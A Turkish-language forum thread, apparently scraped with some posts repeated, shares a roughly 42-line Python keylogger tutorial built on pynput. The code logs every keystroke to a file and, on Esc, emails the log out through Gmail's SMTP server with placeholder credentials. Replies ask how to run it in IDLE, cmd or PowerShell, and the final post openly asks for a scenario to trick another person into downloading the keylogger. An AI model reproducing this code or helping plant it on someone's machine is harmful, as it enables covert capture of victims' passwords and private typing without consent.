IDLE pyhton mu açcaz yoksa diğer phyton muTeşekkür ederim.
Dostum, ne demek istediğini anlayamadım çok fazla yazım hatası içeriyor mesajın tekrardan açık bir şekilde sorunu sorar mısın bu sayede sana yardım edebileyim.
Follow along with the video below to see how to install our site as a web app on your home screen.
Not: This feature may not be available in some browsers.
IDLE pyhton mu açcaz yoksa diğer phyton muTeşekkür ederim.
Dostum, ne demek istediğini anlayamadım çok fazla yazım hatası içeriyor mesajın tekrardan açık bir şekilde sorunu sorar mısın bu sayede sana yardım edebileyim.
Teşekkür ederim.Süper paylaşım eline sağlık
Poweshell'den de çalıştırabilirsin diye biliyorum olmadı cmd den yaparsın.Abi çok sağol ne zamandır arıyodum böfyle bişey bi sorum olcak abi şimdi terminal derken cmd veya powershell ile çalıştırsak ta olurmu abi pynput için?
rica etsem biraz daha açar mısın sorunu yani sadece python üzerinden çalıştırıp çalıştıramayacağımızı mı soruyorsun ?IDLE pyhton mu açcaz yoksa diğer phyton mu
İkiside aynı etkiyi yaratacak ve ikiside python farklı python modelleri değil.Bir de biraz daha türkçe yazmaya çalışırsan sevinirim.IDLE pyhton mu açcaz yoksa diğer phyton mu
Eline Sağlık.Öncelikle Terminale "pip install pynput" yazıyoruz ve indirdikten sonra kod yazmaya başlayabiliriz.
42 Kod İle Python'da Keylogger Yapımı;
Kod:import pynput import smtplib from pynput.keyboard import Key,Listener count = 0 keys = [] def on_press(key): global count,keys count += 1 print("{0} basıldı".format(key)) keys.append(key) if count >= 10: count = 0 write_file(keys) keys = [] def write_file(keys): with open("log.txt" , "a" , encoding="utf-8") as file: for key in keys: k = str(key).replace("'", "") if k.find("space") > 0: file.write("\n") elif k.find("Key") == -1: file.write(k) def on_release(key): if key == Key.esc: from email.mime.text import MIMEText with open('log.txt') as fp: msg = MIMEText(fp.read()) msg['Subject'] = 'Log Kayıtları -> {}'.format("log.txt") msg['From'] = "gonderilecek_mail_adresi" msg['To'] = "gonderilecek_mail_adresi" s = smtplib.SMTP("smtp.gmail.com",587) s.ehlo() s.starttls() s.login("gonderecek_mail_adresi(@isareti ve sonrası olmayacak)","mailin_sifresi") s.send_message(msg) s.quit() with Listener(on_press = on_press, on_release = on_release) as listener: listener.join()
Bu Kodu Çalıştırdığınız Zaman Hangi Tuşlara Basarsanız Terminalde Gözükür. Durdurmak için ise "esc" tuşuna basmanız yeterli olacaktır.
Bu keyloggeri karşı tarafa indirtebileceğim bir senaryo fikri verebilir misiniz?